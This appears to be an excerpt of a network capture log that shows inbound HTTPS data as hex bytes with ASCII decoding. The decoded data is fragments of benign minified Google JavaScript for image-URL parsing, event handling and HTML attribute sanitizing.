2021-11-25 17:33:42 UTC 249 IN Data Raw: 29 28 2d 61 75 74 68 29 3f 5c 5c 2e 63 6f 72 70 5c 5c 2e 67 6f 6f 67 6c 65 5c 5c 2e 63 6f 6d 29 7c 28 28 64 65 
76 7c 64 65 76 32 7c 64 65 76 33 7c 71 61 7c 71 61 32 7c 71 61 33 7c 71 61 2d 72 65 64 7c 71 61 2d 62 6c 75 65 7c 63 
61 6e 61 72 79 29 5b 2d 2e 5d 6c 69 67 68 74 68 6f 75 73 65 5c 5c 2e 73 61 6e 64 62 6f 78 5c 5c 2e 67 6f 6f 67 6c 65 5c 
5c 2e 63 6f 6d 5c 5c 2f 69 6d 61 67 65 29 7c 28 69 6d 61 67 65 5c 5c 2d 28 64 65 76 7c 71 61 29 5c 5c 2d 6c 69 67 68 74 
68 6f 75 73 65 28 2d 61 75 74 68 29 3f 5c 5c 2e 73 61 6e 64 62 6f 78 5c 5c 2e 67 6f 6f 67 6c 65 5c 5c 2e 63 6f 6d 28 5c 5c 
2f 69 6d 61 67 65 29 3f 29 29 5c 5c 2f 22 2c 0a 22 69 22 29 2c 6b 6b 3d 2f 5e 28 68 74 74 70 73 3f 3a 29 3f 5c 2f 5c 2f 73 
70 5b 31 2d 34 5d 5c 2e 28 28 67 67 70 68 74 29 7c 
Data Ascii: )(-auth)?\\.corp\\.google\\.com)|((dev|dev2|dev3|qa|qa2|qa3|qa-red|qa-blue|canary)[-.]lighthouse\\.sandbox\\
.google\\.com\\/image)|(image\\-(dev|qa)\\-lighthouse(-auth)?\\.sandbox\\.google\\.com(\\/image)?))\\/","i"),kk=/^(https?:)?
\/\/sp[1-4]\.((ggpht)|

2021-11-25 17:33:42 UTC 251 IN Data Raw: 61 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 61 2e 63 68 61 72 41 74 28 64 29 3b 69 66 28 21 
63 2e 43 5b 65 5d 29 72 65 74 75 72 6e 5b 5d 3b 63 3d 63 2e 43 5b 65 5d 7d 74 6b 28 63 2c 61 2c 62 29 7d 65 6c 73 65 
20 74 6b 28 74 68 69 73 2c 22 22 2c 62 29 3b 72 65 74 75 72 6e 20 62 7d 3b 66 75 6e 63 74 69 6f 6e 20 74 6b 28 61 2c 
62 2c 63 29 7b 76 6f 69 64 20 30 21 3d 3d 61 2e 44 26 26 63 2e 70 75 73 68 28 62 29 3b 66 6f 72 28 76 61 72 20 64 20 6
9 6e 20 61 2e 43 29 74 6b 28 61 2e 43 5b 64 
Data Ascii: a.length;d++){var e=a.charAt(d);if(!c.C[e])return[];c=c.C[e]}tk(c,a,b)}else tk(this,"",b);return b};function tk(a,b,c)
{void 0!==a.D&&c.push(b);for(var d in a.C)tk(a.C[d

2021-11-25 17:33:42 UTC 251 IN Data Raw: 5d 2c 62 2b 64 2c 63 29 7d 74 2e 56 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 74 68 69 73 2e 24 
28 29 3b 69 66 28 61 2e 56 26 26 74 79 70 65 6f 66 20 61 2e 56 3d 3d 6d 29 61 3d 61 2e 56 28 29 3b 65 6c 73 65 20 69 
66 28 57 62 28 61 29 7c 7c 74 79 70 65 6f 66 20 61 3d 3d 3d 72 29 61 3d 61 2e 6c 65 6e 67 74 68 3b 65 6c 73 65 7b 76 
61 72 20 62 3d 30 2c 63 3b 66 6f 72 28 63 20 69 6e 20 61 29 62 2b 2b 3b 61 3d 62 7d 72 65 74 75 72 6e 20 61 7d 3b 74 2
e 6c 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 76 6f 69 64 20 30 3d 3d 3d 74 68 69 73 2e 44 26 26 62 
64 28 74 68 69 73 2e 43 29 7d 3b 66 75 6e 63 74 69 6f 6e 20 75 6b 28 29 7b 69 66 28 21 76 6b 29 7b 76 61 72 20 61 3d 
76 6b 3d 6e 65 77 20 70 6b 2c 62 3b 66 6f 72 28 62 20 69 6e 20 77 6b 
Data Ascii: ],b+d,c)}t.V=function(){var a=this.$();if(a.V&&typeof a.V==m)a=a.V();else if(Wb(a)||typeof a===r)a=a.length;
else{var b=0,c;for(c in a)b++;a=b}return a};t.la=function(){return void 0===this.D&&bd(this.C)};function uk(){if(!vk){var 
a=vk=new pk,b;for(b in wk

2021-11-25 17:33:42 UTC 252 IN Data Raw: 3a 6e 65 77 20 56 28 5b 33 5d 2c 5b 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 55 28 61 2c 0a 33 31 2c 62 29 
7d 5d 29 2c 67 3a 6e 65 77 20 56 28 5b 33 5d 2c 5b 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 55 28 61 2c 31 34 2c 62 
29 7d 5d 29 2c 67 64 3a 6e 65 77 20 56 28 5b 33 5d 2c 5b 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 55 28 61 2c 38 33 
2c 62 29 7d 5d 29 2c 68 3a 6e 65 77 20 56 28 5b 33 2c 30 5d 2c 5b 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 55 28 61 2
c 34 2c 62 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 55 28 61 2c 31 33 2c 62 29 7d 5d 29 2c 69 3a 6e 65 77 20 
56 28 5b 33 5d 2c 5b 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 55 28 61 2c 32 32 2c 62 29 7d 5d 29 2c 69 63 3a 6e 65 
77 20 56 28 5b 30 5d 2c 5b 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 
Data Ascii: :new V([3],[function(a,b){U(a,31,b)}]),g:new V([3],[function(a,b){U(a,14,b)}]),gd:new V([3],[function(a,b){U
(a,83,b)}]),h:new V([3,0],[function(a,b){U(a,4,b)},function(a,b){U(a,13,b)}]),i:new V([3],[function(a,b){U(a,22,b)}]),ic:new V([0]
,[function(a,b){
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2021-11-25 17:33:42 UTC 253 IN Data Raw: 6e 65 77 20 56 28 5b 33 2c 30 5d 2c 5b 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 55 28 61 2c 31 39 2c 62 29 
7d 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 55 28 61 2c 34 33 2c 62 29 7d 5d 29 2c 70 61 3a 6e 65 77 20 56 28 5b 33 
5d 2c 5b 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 55 28 61 2c 36 31 2c 62 29 7d 5d 29 2c 70 63 3a 6e 65 77 20 56 28 5b 
30 5d 2c 5b 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 55 28 61 2c 38 38 2c 62 29 7d 5d 29 2c 70 64 3a 6e 65 77 20 56 
28 5b 33 5d 2c 5b 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 55 28 61 2c 36 30 2c 62 29 7d 5d 29 2c 70 66 3a 6e 65 77 20 
56 28 5b 33 5d 2c 5b 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 55 28 61 2c 36 37 2c 62 29 7d 5d 29 2c 70 67 3a 6e 65 
77 20 56 28 5b 33 5d 2c 0a 5b 66 75 6e 63 74 69 6f 6e 28 61 2c 
Data Ascii: new V([3,0],[function(a,b){U(a,19,b)},function(a,b){U(a,43,b)}]),pa:new V([3],[function(a,b){U(a,61,b)}]),pc:new 
V([0],[function(a,b){U(a,88,b)}]),pd:new V([3],[function(a,b){U(a,60,b)}]),pf:new V([3],[function(a,b){U(a,67,b)}]),pg:new V([3],
[function(a,

2021-11-25 17:33:42 UTC 255 IN Data Raw: 62 29 7d 5d 29 2c 77 3a 6e 65 77 20 56 28 5b 30 5d 2c 5b 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 55 28 61 
2c 31 32 2c 62 29 7d 5d 29 2c 78 3a 6e 65 77 20 56 28 5b 30 5d 2c 5b 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 55 28 
61 2c 39 2c 62 29 7d 5d 29 2c 79 3a 6e 65 77 20 56 28 5b 30 5d 2c 5b 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 55 28 61
2c 31 30 2c 62 29 7d 5d 29 2c 79 61 3a 6e 65 77 20 56 28 5b 32 5d 2c 5b 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 55 
28 61 2c 37 37 2c 62 29 7d 5d 29 2c 7a 3a 6e 65 77 20 56 28 5b 30 5d 2c 5b 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 55 
28 61 2c 31 31 2c 62 29 7d 5d 29 7d 3b 74 3d 75 6b 2e 70 72 6f 74 6f 74 79 70 65 3b 0a 74 2e 70 61 72 73 65 3d 66 75 6e 
63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 6e 65 77 20 6f 6b 
Data Ascii: b)}]),w:new V([0],[function(a,b){U(a,12,b)}]),x:new V([0],[function(a,b){U(a,9,b)}]),y:new V([0],[function(a,b)
{U(a,10,b)}]),ya:new V([2],[function(a,b){U(a,77,b)}]),z:new V([0],[function(a,b){U(a,11,b)}])};t=uk.prototype;t.parse=function
(a){var b=new ok

2021-11-25 17:33:42 UTC 256 IN Data Raw: 29 3b 62 3d 74 79 70 65 6f 66 20 62 3d 3d 3d 72 3f 2f 5e 5c 73 2a 2d 3f 30 78 2f 69 2e 74 65 73 74 28 62 29 3f 
70 61 72 73 65 49 6e 74 28 62 2c 31 36 29 3a 70 61 72 73 65 49 6e 74 28 62 2c 31 30 29 3a 4e 61 4e 3b 69 66 28 69 73 
4e 61 4e 28 62 29 29 72 65 74 75 72 6e 20 31 3b 41 6b 28 61 2c 62 2c 63 2c 64 2c 65 29 3b 72 65 74 75 72 6e 20 6e 75 
6c 6c 7d 3b 74 2e 73 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 3b 74 2e 41 64 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 
63 2c 64 2c 65 29 7b 69 66 28 22 22 3d 3d 62 29 72 65 74 75 72 6e 20 30 3b 76 61 72 20 66 3d 4e 75 6d 62 65 72 28 62 
29 3b 62 3d 30 3d 3d 66 26 26 2f 5e 5b 5c 73 5c 78 61 30 5d 2a 24 2f 2e 74 65 73 74 28 62 29 3f 4e 61 4e 3a 66 3b 69 66 
28 69 73 4e 61 4e 28 62 29 29 72 65 74 75 72 6e 20 31 3b 41 6b 
Data Ascii: );b=typeof b===r?/^\s*-?0x/i.test(b)?parseInt(b,16):parseInt(b,10):NaN;if(isNaN(b))return 1;Ak(a,b,c,d,e);return 
null};t.sd=function(){};t.Ad=function(a,b,c,d,e){if(""==b)return 0;var f=Number(b);b=0==f&&/^[\s\xa0]*$/.test(b)?NaN:f;if(isN
aN(b))return 1;Ak

2021-11-25 17:33:42 UTC 257 IN Data Raw: 3d 62 3f 74 79 70 65 6f 66 20 62 3d 3d 3d 72 3f 45 6b 28 61 29 2e 70 61 72 73 65 28 62 29 3a 62 3a 45 6b 28 
61 29 2e 70 61 72 73 65 28 22 22 29 7d 74 3d 43 6b 2e 70 72 6f 74 6f 74 79 70 65 3b 74 2e 6e 62 3d 66 75 6e 63 74 69 6f 
6e 28 61 29 7b 61 3d 61 7c 7c 76 6f 69 64 20 30 3b 76 61 72 20 62 3d 74 68 69 73 2e 44 2e 43 3b 61 21 3d 54 28 62 2c 
32 29 26 26 55 28 62 2c 32 2c 61 29 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 74 2e 6d 62 3d 66 75 6e 63 74 69 6f 6e 
28 61 29 7b 61 3d 61 7c 7c 76 6f 69 64 20 30 3b 76 61 72 20 62 3d 74 68 69 73 2e 44 2e 43 3b 61 21 3d 53 28 62 2c 35 3
1 29 26 26 55 28 62 2c 35 31 2c 61 29 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 74 2e 6f 62 3d 66 75 6e 63 74 69 6f 6e 
28 61 29 7b 61 3d 61 7c 7c 76 6f 69 64 20 30 3b 76 61 72 20 62 3d 
Data Ascii: =b?typeof b===r?Ek(a).parse(b):b:Ek(a).parse("")}t=Ck.prototype;t.nb=function(a){a=a||void 0;var b=this.D.C;
a!=T(b,2)&&U(b,2,a);return this};t.mb=function(a){a=a||void 0;var b=this.D.C;a!=S(b,51)&&U(b,51,a);return this};t.ob=fun
ction(a){a=a||void 0;var b=

2021-11-25 17:33:42 UTC 258 IN Data Raw: 62 2c 31 39 29 2c 54 28 61 2c 31 39 29 29 3b 58 28 74 68 69 73 2c 22 70 70 22 2c 54 28 62 2c 35 32 29 2c 54 
28 61 2c 35 32 29 29 3b 58 28 74 68 69 73 2c 22 70 66 22 2c 54 28 62 2c 36 37 29 2c 54 28 61 2c 36 37 29 29 3b 58 28 
74 68 69 73 2c 22 6e 22 2c 54 28 62 2c 32 30 29 2c 54 28 61 2c 32 30 29 29 3b 57 28 74 68 69 73 2c 22 72 22 2c 52 28 
62 2c 32 36 29 2c 52 28 61 2c 32 36 29 29 3b 58 28 74 68 69 73 2c 22 72 22 2c 54 28 62 2c 36 29 2c 54 28 61 2c 36 29 2
9 3b 58 28 74 68 69 73 2c 22 6f 22 2c 53 28 62 2c 32 37 29 2c 53 28 61 2c 32 37 29 29 3b 47 6b 28 74 68 69 73 2c 22 6f 
22 2c 52 28 62 2c 37 29 2c 52 28 61 2c 37 29 29 3b 47 6b 28 74 68 69 73 2c 22 6a 22 2c 52 28 62 2c 32 39 29 2c 52 28 
61 2c 32 39 29 29 3b 57 28 74 68 69 73 2c 0a 22 78 22 2c 52 28 62 2c 
Data Ascii: b,19),T(a,19));X(this,"pp",T(b,52),T(a,52));X(this,"pf",T(b,67),T(a,67));X(this,"n",T(b,20),T(a,20));W(this,
"r",R(b,26),R(a,26));X(this,"r",T(b,6),T(a,6));X(this,"o",S(b,27),S(a,27));Gk(this,"o",R(b,7),R(a,7));Gk(this,"j",R(b,29),R(a,29))
;W(this,"x",R(b,

2021-11-25 17:33:42 UTC 260 IN Data Raw: 68 69 73 2c 22 6e 63 22 2c 53 28 62 2c 35 35 29 2c 53 28 61 2c 35 35 29 29 3b 57 28 74 68 69 73 2c 22 61 22 
2c 52 28 62 2c 35 36 29 2c 52 28 61 2c 35 36 29 29 3b 58 28 74 68 69 73 2c 22 72 6a 22 2c 53 28 62 2c 35 37 29 2c 53 
28 61 2c 35 37 29 29 3b 58 28 74 68 69 73 2c 22 72 70 22 2c 53 28 62 2c 35 38 29 2c 53 28 61 2c 35 38 29 29 3b 58 28 
74 68 69 73 2c 22 72 67 22 2c 53 28 62 2c 35 39 29 2c 53 28 61 2c 35 39 29 29 3b 58 28 74 68 69 73 2c 22 70 64 22 2c 5
3 28 62 2c 36 30 29 2c 53 28 61 2c 36 30 29 29 3b 58 28 74 68 69 73 2c 22 70 61 22 2c 53 28 62 2c 36 31 29 2c 53 28 61 
2c 36 31 29 29 3b 57 28 74 68 69 73 2c 22 6d 22 2c 52 28 62 2c 36 33 29 2c 52 28 61 2c 36 33 29 29 3b 57 28 74 68 69 
73 2c 22 76 62 22 2c 52 28 62 2c 36 38 29 2c 52 28 61 2c 36 38 29 29 
Data Ascii: his,"nc",S(b,55),S(a,55));W(this,"a",R(b,56),R(a,56));X(this,"rj",S(b,57),S(a,57));X(this,"rp",S(b,58),S(a,5
8));X(this,"rg",S(b,59),S(a,59));X(this,"pd",S(b,60),S(a,60));X(this,"pa",S(b,61),S(a,61));W(this,"m",R(b,63),R(a,63));W
(this,"vb",R(b,68),R(a,68))

2021-11-25 17:33:42 UTC 261 IN Data Raw: 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 69 66 28 6e 75 6c 6c 21 3d 63 29 7b 76 61 72 20 67 3d 76 6f 69 64 20 30 
3d 3d 65 7c 7c 31 30 21 3d 65 26 26 31 36 21 3d 65 3f 31 30 3a 65 3b 63 3d 63 2e 74 6f 53 74 72 69 6e 67 28 67 29 3b 
65 3d 6e 65 77 20 42 6b 3b 65 2e 44 28 31 36 3d 3d 67 3f 22 30 78 22 3a 22 22 29 3b 67 3d 65 2e 44 3b 76 6f 69 64 20 
30 3d 3d 66 3f 66 3d 22 22 3a 28 66 2d 3d 63 2e 6c 65 6e 67 74 68 2c 66 3d 30 3e 3d 66 3f 22 22 3a 6e 66 28 22 30 22 2
c 66 29 29 3b 67 2e 63 61 6c 6c 28 65 2c 66 29 3b 65 2e 44 28 63 29 3b 48 6b 28 61 2c 62 2c 65 2e 74 6f 53 74 72 69 6e 
67 28 29 2c 21 21 64 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 58 28 61 2c 62 2c 63 2c 64 29 7b 63 26 26 48 6b 28 61 2c 62 2c 
22 22 2c 21 21 64 29 7d 66 75 6e 63 74 69 6f 6e 20 47 6b 28 61 2c 
Data Ascii: ,b,c,d,e,f){if(null!=c){var g=void 0==e||10!=e&&16!=e?10:e;c=c.toString(g);e=new Bk;e.D(16==g?"0x":"");g=e.D
;void 0==f?f="":(f-=c.length,f=0>=f?"":nf("0",f));g.call(e,f);e.D(c);Hk(a,b,e.toString(),!!d)}}function X(a,b,c,d){c&&Hk(a,b,"",!!
d)}function Gk(a,

2021-11-25 17:33:42 UTC 262 IN Data Raw: 28 61 2c 34 35 29 3f 52 28 61 2c 31 29 7c 7c 74 68 69 73 2e 42 61 28 30 29 3a 28 61 3d 74 68 69 73 2e 44 2e 
43 2c 52 28 61 2c 31 29 7c 7c 52 28 61 2c 31 32 29 7c 7c 52 28 61 2c 31 33 29 7c 7c 28 74 68 69 73 2e 42 61 28 29 2c 74
68 69 73 2e 51 61 28 29 2c 74 68 69 73 2e 52 61 28 29 2c 49 6b 28 74 68 69 73 29 29 29 3b 72 65 74 75 72 6e 20 59 2e 
4f 2e 71 61 2e 63 61 6c 6c 28 74 68 69 73 29 7d 3b 76 61 72 20 4a 6b 3d 2f 5e 5b 5e 5c 2f 5d 2a 5c 2f 5c 2f 2f 3b 66 75 
6e 63 74 69 6f 6e 20 4b 6b 28 61 2c 62 29 7b 62 3d 76 6f 69 64 20 30 3d 3d 3d 62 3f 21 31 3a 62 3b 74 68 69 73 2e 47 3d 
61 3b 74 68 69 73 2e 4b 3d 22 22 3b 28 61 3d 74 68 69 73 2e 47 2e 6d 61 74 63 68 28 4a 6b 29 29 26 26 61 5b 30 5d 3f 
28 74 68 69 73 2e 4b 3d 61 5b 30 5d 2c 61 3d 74 68 69 73 2e 4b 
Data Ascii: (a,45)?R(a,1)||this.Ba(0):(a=this.D.C,R(a,1)||R(a,12)||R(a,13)||(this.Ba(),this.Qa(),this.Ra(),Ik(this)));return Y.O.q
a.call(this)};var Jk=/^[^\/]*\/\//;function Kk(a,b){b=void 0===b?!1:b;this.G=a;this.K="";(a=this.G.match(Jk))&&a[0]?(thi
s.K=a[0],a=this.K
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2021-11-25 17:33:42 UTC 264 IN Data Raw: 72 65 74 75 72 6e 21 31 3b 63 61 73 65 20 33 3a 72 65 74 75 72 6e 21 30 3b 63 61 73 65 20 32 3a 72 65 74 
75 72 6e 20 6e 75 6c 6c 3d 3d 50 6b 28 61 29 3b 63 61 73 65 20 31 3a 72 65 74 75 72 6e 21 31 3b 64 65 66 61 75 6c 74 
3a 72 65 74 75 72 6e 21 31 7d 7d 0a 66 75 6e 63 74 69 6f 6e 20 52 6b 28 61 2c 62 29 7b 69 66 28 4f 6b 28 61 29 29 61 3a 
7b 73 77 69 74 63 68 28 62 29 7b 63 61 73 65 20 37 3a 62 3d 30 3b 62 72 65 61 6b 3b 63 61 73 65 20 34 3a 69 66 28 21 
51 6b 28 61 29 29 7b 61 3d 6e 75 6c 6c 3b 62 72 65 61 6b 20 61 7d 62 3d 31 3b 62 72 65 61 6b 3b 64 65 66 61 75 6c 74 
3a 61 3d 6e 75 6c 6c 3b 62 72 65 61 6b 20 61 7d 61 3d 4d 6b 28 61 29 5b 62 5d 7d 65 6c 73 65 20 69 66 28 4e 6b 28 61 
29 29 61 3a 7b 76 61 72 20 63 3d 6e 75 6c 6c 21 3d 50 6b 28 61 29 3f 31 
Data Ascii: return!1;case 3:return!0;case 2:return null==Pk(a);case 1:return!1;default:return!1}}function Rk(a,b){if(Ok(a))a:
{switch(b){case 7:b=0;break;case 4:if(!Qk(a)){a=null;break a}b=1;break;default:a=null;break a}a=Mk(a)[b]}else if(Nk(a))a:
{var c=null!=Pk(a)?1

2021-11-25 17:33:42 UTC 265 IN Data Raw: 29 3b 76 61 72 20 63 3d 4f 6b 28 74 68 69 73 2e 43 29 3b 69 66 28 4e 6b 28 74 68 69 73 2e 43 29 29 7b 76 61 
72 20 64 3d 74 68 69 73 2e 43 3b 76 6f 69 64 20 30 3d 3d 64 2e 58 26 26 28 64 2e 58 3d 52 6b 28 64 2c 36 29 29 3b 62 
2e 70 75 73 68 28 64 2e 58 2b 28 61 3f 22 3d 22 2b 61 3a 22 22 29 29 7d 65 6c 73 65 20 69 66 28 63 29 7b 64 3d 62 2e 
70 75 73 68 3b 76 61 72 20 65 3d 74 68 69 73 2e 43 3b 76 6f 69 64 20 30 3d 3d 3d 65 2e 52 26 26 28 65 2e 52 3d 52 6b 2
8 65 2c 37 29 29 3b 64 2e 63 61 6c 6c 28 62 2c 65 2e 52 29 3b 61 26 26 62 2e 70 75 73 68 28 61 29 7d 65 6c 73 65 20 64 
3d 62 2e 70 75 73 68 2c 65 3d 74 68 69 73 2e 43 2c 76 6f 69 64 20 30 3d 3d 65 2e 59 26 26 28 65 2e 59 3d 52 6b 28 65 
2c 30 29 29 2c 64 2e 63 61 6c 6c 28 62 2c 65 2e 59 29 2c 64 3d 62 2e 
Data Ascii: );var c=Ok(this.C);if(Nk(this.C)){var d=this.C;void 0==d.X&&(d.X=Rk(d,6));b.push(d.X+(a?"="+a:""))}else if(c)
{d=b.push;var e=this.C;void 0===e.R&&(e.R=Rk(e,7));d.call(b,e.R);a&&b.push(a)}else d=b.push,e=this.C,void 0==e.Y&&
(e.Y=Rk(e,0)),d.call(b,e.Y),d=b.

2021-11-25 17:33:42 UTC 266 IN Data Raw: 67 6c 2e 70 72 6f 74 6f 74 79 70 65 2e 69 6e 69 74 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 
63 3d 64 66 28 61 29 3b 65 68 2e 58 61 28 29 2e 69 6e 69 74 28 61 2c 63 29 3b 74 68 69 73 2e 47 3d 62 7d 3b 67 6c 2e 
70 72 6f 74 6f 74 79 70 65 2e 4a 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 63 2e 63 74 72 6c 4b 65 79 7c 7c 63 
2e 61 6c 74 4b 65 79 7c 7c 63 2e 73 68 69 66 74 4b 65 79 7c 7c 63 2e 6d 65 74 61 4b 65 79 7c 7c 28 61 3d 74 68 69 73 
2e 43 5b 61 5d 29 26 26 30 3c 61 2e 6c 65 6e 67 74 68 26 26 28 68 6c 28 74 68 69 73 29 2c 68 68 28 29 28 61 2c 62 29 2
c 63 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 29 7d 3b 67 6c 2e 70 72 6f 74 6f 74 79 70 65 2e 4b 3d 66 75 6e 
63 74 69 6f 6e 28 29 7b 68 6c 28 74 68 69 73 29 3b 66 68 28 55 62 
Data Ascii: gl.prototype.init=function(a,b){var c=df(a);eh.Xa().init(a,c);this.G=b};gl.prototype.J=function(a,b,c){c.ctrlKey||c.al
tKey||c.shiftKey||c.metaKey||(a=this.C[a])&&0<a.length&&(hl(this),hh()(a,b),c.preventDefault())};gl.prototype.K=function()
{hl(this);fh(Ub

2021-11-25 17:33:42 UTC 267 IN Data Raw: 67 2e 63 68 61 6e 67 65 64 54 6f 75 63 68 65 73 3f 67 2e 63 68 61 6e 67 65 64 54 6f 75 63 68 65 73 5b 30 5d 
3a 67 2c 67 3d 6e 65 77 20 6c 66 28 67 2e 63 6c 69 65 6e 74 58 2c 67 2e 63 6c 69 65 6e 74 59 29 3b 67 3d 67 2e 79 3b 
69 66 28 30 3c 3d 67 26 26 67 3c 3d 66 29 64 2e 4a 2e 70 75 73 68 28 65 29 3b 65 6c 73 65 20 69 66 28 30 3c 67 26 26 
67 3c 4d 61 74 68 2e 72 6f 75 6e 64 28 32 2e 32 35 2a 0a 66 29 29 64 2e 46 2e 70 75 73 68 28 65 29 3b 65 6c 73 65 20 6
9 66 28 30 3e 67 26 26 67 3e 4d 61 74 68 2e 72 6f 75 6e 64 28 2d 31 2e 32 35 2a 66 29 29 64 2e 46 2e 70 75 73 68 28 65 
29 3b 65 6c 73 65 7b 64 3d 21 31 3b 62 72 65 61 6b 20 61 7d 64 3d 21 30 7d 64 26 26 28 62 3d 21 30 29 7d 69 66 28 62 
29 7b 62 3d 61 2e 4a 2e 63 6f 6e 63 61 74 28 61 2e 46 29 3b 66 6f 72 
Data Ascii: g.changedTouches?g.changedTouches[0]:g,g=new lf(g.clientX,g.clientY);g=g.y;if(0<=g&&g<=f)d.J.push(e);else 
if(0<g&&g<Math.round(2.25*f))d.F.push(e);else if(0>g&&g>Math.round(-1.25*f))d.F.push(e);else{d=!1;break a}d=!0}d&&
(b=!0)}if(b){b=a.J.concat(a.F);for

2021-11-25 17:33:42 UTC 269 IN Data Raw: 65 70 6c 61 63 65 28 2f 5b 23 5c 2e 5d 2f 67 2c 22 20 22 29 3b 71 6c 28 62 2c 63 2c 2f 28 5b 5e 5c 73 5c 2b 
3e 7e 5c 2e 5c 5b 3a 5d 2b 29 2f 67 2c 33 29 3b 62 3d 63 3b 72 65 74 75 72 6e 20 6e 6c 5b 61 5d 3d 62 7d 66 75 6e 63 
74 69 6f 6e 20 71 6c 28 61 2c 62 2c 63 2c 64 29 7b 72 65 74 75 72 6e 20 61 2e 72 65 70 6c 61 63 65 28 63 2c 66 75 6e 63 
74 69 6f 6e 28 65 29 7b 62 5b 64 5d 2b 3d 31 3b 72 65 74 75 72 6e 20 41 72 72 61 79 28 65 2e 6c 65 6e 67 74 68 2b 31 
29 2e 6a 6f 69 6e 28 22 20 22 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 70 6c 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 2e 
72 65 70 6c 61 63 65 28 62 2c 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 41 72 72 61 79 28 63 2e 6c 65 6
e 67 74 68 2b 31 29 2e 6a 6f 69 6e 28 22 41 22 29 7d 29 7d 3b 76 
Data Ascii: eplace(/[#\.]/g," ");ql(b,c,/([^\s\+>~\.\[:]+)/g,3);b=c;return nl[a]=b}function ql(a,b,c,d){return a.replace(c,function(e)
{b[d]+=1;return Array(e.length+1).join(" ")})}function pl(a,b){return a.replace(b,function(c){return Array(c.length+1).join("A
")})};v

2021-11-25 17:33:42 UTC 270 IN Data Raw: 21 30 2c 22 2a 20 4f 50 45 4e 22 3a 21 30 2c 22 2a 20 52 45 41 44 4f 4e 4c 59 22 3a 21 30 2c 22 2a 20 52 45 
51 55 49 52 45 44 22 3a 21 30 2c 22 2a 20 52 45 4c 22 3a 21 30 2c 22 2a 20 52 45 56 22 3a 21 30 2c 22 2a 20 52 4f 4c 
45 22 3a 21 30 2c 22 2a 20 52 4f 57 53 50 41 4e 22 3a 21 30 2c 22 2a 20 52 4f 57 53 22 3a 21 30 2c 22 2a 20 52 55 4c 45 
53 22 3a 21 30 2c 22 2a 20 53 43 4f 50 45 22 3a 21 30 2c 22 2a 20 53 45 4c 45 43 54 45 44 22 3a 21 30 2c 22 2a 20 53 
48 41 50 45 22 3a 21 30 2c 22 2a 20 53 49 5a 45 22 3a 21 30 2c 22 2a 20 53 50 41 4e 22 3a 21 30 2c 22 2a 20 53 54 41 5
2 54 22 3a 21 30 2c 22 2a 20 53 55 4d 4d 41 52 59 22 3a 21 30 2c 22 2a 20 54 41 42 49 4e 44 45 58 22 3a 21 30 2c 22 2a 
20 54 49 54 4c 45 22 3a 21 30 2c 22 2a 20 54 59 50 45 22 3a 21 30 
Data Ascii: !0,"* OPEN":!0,"* READONLY":!0,"* REQUIRED":!0,"* REL":!0,"* REV":!0,"* ROLE":!0,"* ROWSPAN":!0,"* 
ROWS":!0,"* RULES":!0,"* SCOPE":!0,"* SELECTED":!0,"* SHAPE":!0,"* SIZE":!0,"* SPAN":!0,"* START":!0,"* SUMMA
RY":!0,"* TABINDEX":!0,"* TITLE":!0,"* TYPE":!0

2021-11-25 17:33:42 UTC 271 IN Data Raw: 69 6e 67 28 34 2c 62 2e 6c 65 6e 67 74 68 2d 31 29 2c 64 3d 30 3b 32 3e 64 3b 64 2b 2b 29 7b 76 61 72 20 65 
3d 22 5c 22 27 22 2e 63 68 61 72 41 74 28 64 29 3b 69 66 28 62 2e 63 68 61 72 41 74 28 30 29 3d 3d 65 26 26 62 2e 63 
68 61 72 41 74 28 62 2e 6c 65 6e 67 74 68 2d 31 29 3d 3d 65 29 7b 62 3d 62 2e 73 75 62 73 74 72 69 6e 67 28 31 2c 62 
2e 6c 65 6e 67 74 68 2d 31 29 3b 62 72 65 61 6b 20 61 7d 7d 61 3d 63 3f 28 61 3d 63 28 62 2c 61 29 29 26 26 48 64 28 6
1 29 21 3d 72 61 3f 27 75 72 6c 28 22 27 2b 48 64 28 61 29 2e 72 65 70 6c 61 63 65 28 75 6c 2c 77 6c 29 2b 27 22 29 27 
3a 6e 75 6c 6c 3a 6e 75 6c 6c 7d 72 65 74 75 72 6e 20 61 7d 69 66 28 30 3c 62 2e 69 6e 64 65 78 4f 66 28 22 28 22 29 29
7b 69 66 28 2f 22 7c 27 2f 2e 74 65 73 74 28 62 29 29 72 65 74 75 
